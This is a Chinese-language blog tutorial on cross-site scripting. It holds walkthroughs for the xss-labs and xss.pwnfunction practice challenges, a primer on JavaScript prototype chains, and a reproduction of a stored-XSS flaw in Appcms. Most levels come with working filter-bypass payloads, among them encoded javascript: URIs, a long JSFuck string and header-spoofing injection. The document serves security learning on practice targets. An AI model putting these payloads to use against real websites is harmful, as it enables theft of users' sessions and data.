XSS（跨站脚本攻击）

发布于：2025-07-24 ⋅ 阅读:(23) ⋅ 点赞:(0)

目录

XSS 跨站脚本攻击原理

XSS攻击的类型：

反射型XSS

XSS的bypass技巧

level 1

​编辑

​编辑

level 2

level 3

level 4

​编辑

level 5

level 6

​编辑

level 7

level 8

level9

level 10

level 11

DOM型XSS

xss.pwnfunction(DOM型XSS)靶场

第一关   Ma Spaghet!

第二关  JEFFFF

第三关  Ugandan Knuckles

第四关  Ricardo Milos

第五关  Ah That's Hawt

第六关  Ligma

第七关  Mafia

第八关  Ok, Boomer

原型链污染

prototype

prototype的属性

原型链

constructor 属性

存储型XSS

Appcms存储型XSS漏洞复现

思路：

第一次评论

第二次评论

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XSS 跨站脚本攻击原理

  XSS（跨站脚本攻击）是一种常见的Web安全漏洞，攻击者通过在网页中注入恶意脚本，当其他用户访问该页面时，脚本会在用户的浏览器中执行，从而达到攻击目的。XSS攻击的核心原理在于恶意代码未经过滤或未正确转义，与网站正常内容混合在一起，浏览器无法分辨哪些脚本是可信的，导致恶意脚本被执行。

XSS攻击的类型：

反射型XSS

反射型 XSS 是非持久性、参数型的跨站脚本。反射型 XSS 的 JS 代码在 Web 应用的参数（变量）中，如搜 索框的反射型XSS 。在搜索框中，提交 PoC[scriptalert(/xss/)/script] ，点击搜索，即可触发反射型 XSS 。 注意到，我们提交的poc 会出现在 search.php 页面的 keywords 参数中。所以XSS反射型产生的原因是没有对用户的输入进行一定的过滤，导致用户输入的恶意JS代码输入到了页面中，被页面解析。

XSS的bypass技巧

level 1

通过源码可以看出服务器端对于提交的敏感字符没有过滤，所以我们提交的用于弹窗的js代码可以顺利执行

name=<script>alert(1)</script>

level 2

htmlspecialchars 是一个 PHP 函数，用于将特殊字符转换为 HTML 实体。

.htmlspecialchars(string:$str).能把“<”转化成普通字符。】，所以只能从value后面的输出下手。

在输入框中输入：

a" οnclick="alert(1) 

先用双引号把标签闭合，使后面输入的onclick成为一个独立的标签被页面解析

level 3

先通过单引号闭合，再输入独立能够被解析的标签

a' οnclick='alert(1) 

level 4

">","<"被过滤，用level 2的方法不受影响

a" οnclick="alert(1) 

level 5

“on”，“<script”被过滤

把input标签闭合，再在后面加一个a标签

a"><a href="javascript:alert(1)">aaaa</a>

level 6

过滤了“<script”,"on","src","data","href"

考虑replace这个函数识不别识别，大小写

a"><a HREF="javascript:alert(1)">aaaa</a>

level 7

转换成空字符，只转换一次，可以双写

a" oonnclick="alert(1) 

level 8

添加友情链接到href中可以用javascript：alert（1）

但是他把script过滤了，所以要把javascript先编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)

level9

其他和level 8一样，但是level 9需要在输出中存在'http://',否则就会错误

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert('http://')

level 10

输出被隐藏了，要先找出哪个是有效输出

t_sort是有效输出，因为这里input是hidden显示不出来所以要用text将它覆盖掉

keyword=a&t_sort=333" type="text" οnclick="alert(1)

level 11

referer：找出来的源头

可以在ref里操作

DOM型XSS

DOM XSS 比较特殊。 owasp 关于 DOM 型号 XSS 的定义是基于 DOM 的 XSS 是一种 XSS 攻击，其中攻击 的payload 由于修改受害者浏览器页面的 DOM 树而执行的。其特殊的地方就是 payload 在浏览器本地修改DOM 树而执行， 并不会传到服务器上，这也就使得 DOM XSS 比较难以检测。

xss.pwnfunction(DOM型XSS)靶场

第一关   Ma Spaghet!

要求：

所以，本题中不能使用<script>标签，需要使用其他标签

<img src=1 οnerrοr=alert(1337)>

第二关  JEFFFF

要求：

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

中间填什么都不会有效果只能将它闭合

";alert(1337)//

第三关  Ugandan Knuckles

要求：

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

<>被过滤了，用户也不能交互，标签是input，后面可以加自动聚焦

a" autofocus οnfοcus="alert(1337)

第四关  Ricardo Milos

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

HTMLFormElement.submit() 用来提交表单 <form>。下面写什么，上面就传什么

action这个参数是可以执行javascript这个伪协议的。

ricardo=javascript:alert(1337)

第五关  Ah That's Hawt

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

思路：回车后浏览器自动decode解码，然后进到程序中进行实体变编码的解码

最终被当成普通文本打出来，没有回到表情开始状态，但是已经绕过了

最终结论只把alert（1337）给编码之后再让它解码

<img src=1   οnerrοr=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2351%3B%26%2351%3B%26%2355%3B%26%2341%3B>

第六关  Ligma

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

过滤了大小写和数字，需要进行绕过

balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5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第七关  Mafia

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

过滤了符号和alert函数，但是没有过滤confirm 函数

mafia=confirm(1)

第八关  Ok, Boomer

<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

原代码中没有定义，我们可以直接定义“ok”这个参数

最终我们可以得到HTMLAreaElement (<area>) & HTMLAnchorElement (<a>)两个标签对象

因为<area>是空标签，不可利用，所以只能使用<a>

<a id=ok href=javascript:alert(1337)>

因为javascript不在DOMPurify.sanitize的白名单里，所以改成

<a id=ok href=tel:alert(1337)>

原型链污染

prototype

父类 子类 子类可以继承父类 但是可以重写父类

prototype的属性

JavaScript 规定，每个函数都有一个prototype属性，指向一个对象。

function f() {}
typeof f.prototype // "object"

上面代码中，函数f默认具有prototype属性，指向一个对象。

对于普通函数来说，该属性基本无用。但是，对于构造函数来说，生成实例的时候，该属性会自动成为实例对象的原型。

构造函数的一个方法，或者一个属性
function Animal(name) {
  this.name = name;
}
Animal.prototype.color = 'white';

var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');

cat1.color // 'white'
cat2.color // 'white'

上面代码中，构造函数Animal的prototype属性，就是实例对象cat1和cat2的原型对象。原型对象上添加一个color属性，结果，实例对象都共享了该属性。

原型对象的属性不是实例对象自身的属性。只要修改原型对象，变动就立刻会体现在所有实例对象上。

Animal.prototype.color = 'yellow';

cat1.color // "yellow"
cat2.color // "yellow"

上面代码中，原型对象的color属性的值变为yellow，两个实例对象的color属性立刻跟着变了。这是因为实例对象其实没有color属性，都是读取原型对象的color属性。也就是说，当实例对象本身没有某个属性或方法的时候，它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。

如果实例对象自身就有某个属性或方法，它就不会再去原型对象寻找这个属性或方法。

有时候只要转换一下形式就能绕过关键词

可以把proto替换成constructor prototype

原型链

JavaScript 规定，所有对象都有自己的原型对象（prototype）。一方面，任何一个对象，都可以充当其他对象的原型；另一方面，由于原型对象也是对象，所以它也有自己的原型。因此，就会形成一个“原型链”（prototype chain）：对象到原型，再到原型的原型……

cat1.color--->Animal.prototype---->aaaaaaa.prototype------>xxxxx.------->Object.prototype---->null

object.prototype.valueof = function () {}

如果一层层地上溯，所有对象的原型最终都可以上溯到Object.prototype，即Object构造函数的prototype属性。也就是说，所有对象都继承了Object.prototype的属性。这就是所有对象都有valueOf和toString方法的原因，因为这是从Object.prototype继承的。

constructor 属性

prototype对象有一个constructor属性，默认指向prototype对象所在的构造函数。

function P() {}
P.prototype.constructor === P // true

由于constructor属性定义在prototype对象上面，意味着可以被所有实例对象继承。

function P大() {}
var p小 = new P大();​//应该有这个属性吗
p小.constructor === P大 // true
​p小.constructor === P大.prototype.constructor // true​
p小.hasOwnProperty('constructor') // false

上面代码中，p是构造函数P的实例对象，但是p自身没有constructor属性，该属性其实是读取原型链上面的P.prototype.constructor属性。

constructor属性的作用是，可以得知某个实例对象，到底是哪一个构造函数产生的。

function F() {};
var f = new F();
​f.constructor === F // true
f.constructor === RegExp // false

存储型XSS

存储型 XSS 是持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数（变量）中，而是写进数据库或 文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言，将恶意代码写进数据库中。此时，我们只完成了第一步，将恶意代码写入数据库。因为XSS 使用的 JS 代码，JS 代码的运行环境是浏览器，所以需要浏览器从服务器载入恶意的 XSS 代码，才能真正触发 XSS 。此时，需要我们模拟网站后台管理员的身份，查看留言。

案例：

思路：

通过多次评论注释掉原有代码，并注入XSS 
正常payload：

<script>alert(11111)</script>

达成的效果(将中间的代码注释掉)：

<script>/**/alert(11111)/**/</script>

多次注入：
<script>/*
	*/alert(11111)/*
		*/</script>

将payload多次拆分，使用两条留言完成注入：

第一次：
内容：*/alert(11111)
IP伪造为：X-FORWARDED-FOR: */</script>
第二次：
内容：随意都行
IP伪造为：X-FORWARDED-FOR: <script>/*

第一次评论

评论内容：
*/alert(1)/*
抓包，抓到后直接进行伪造
X-FORWARD-FOR一定要大写，第一步插入的是后面的字符
插入成功后数据库里看得到

第二次评论

评论随意写，然后抓包，进行伪造

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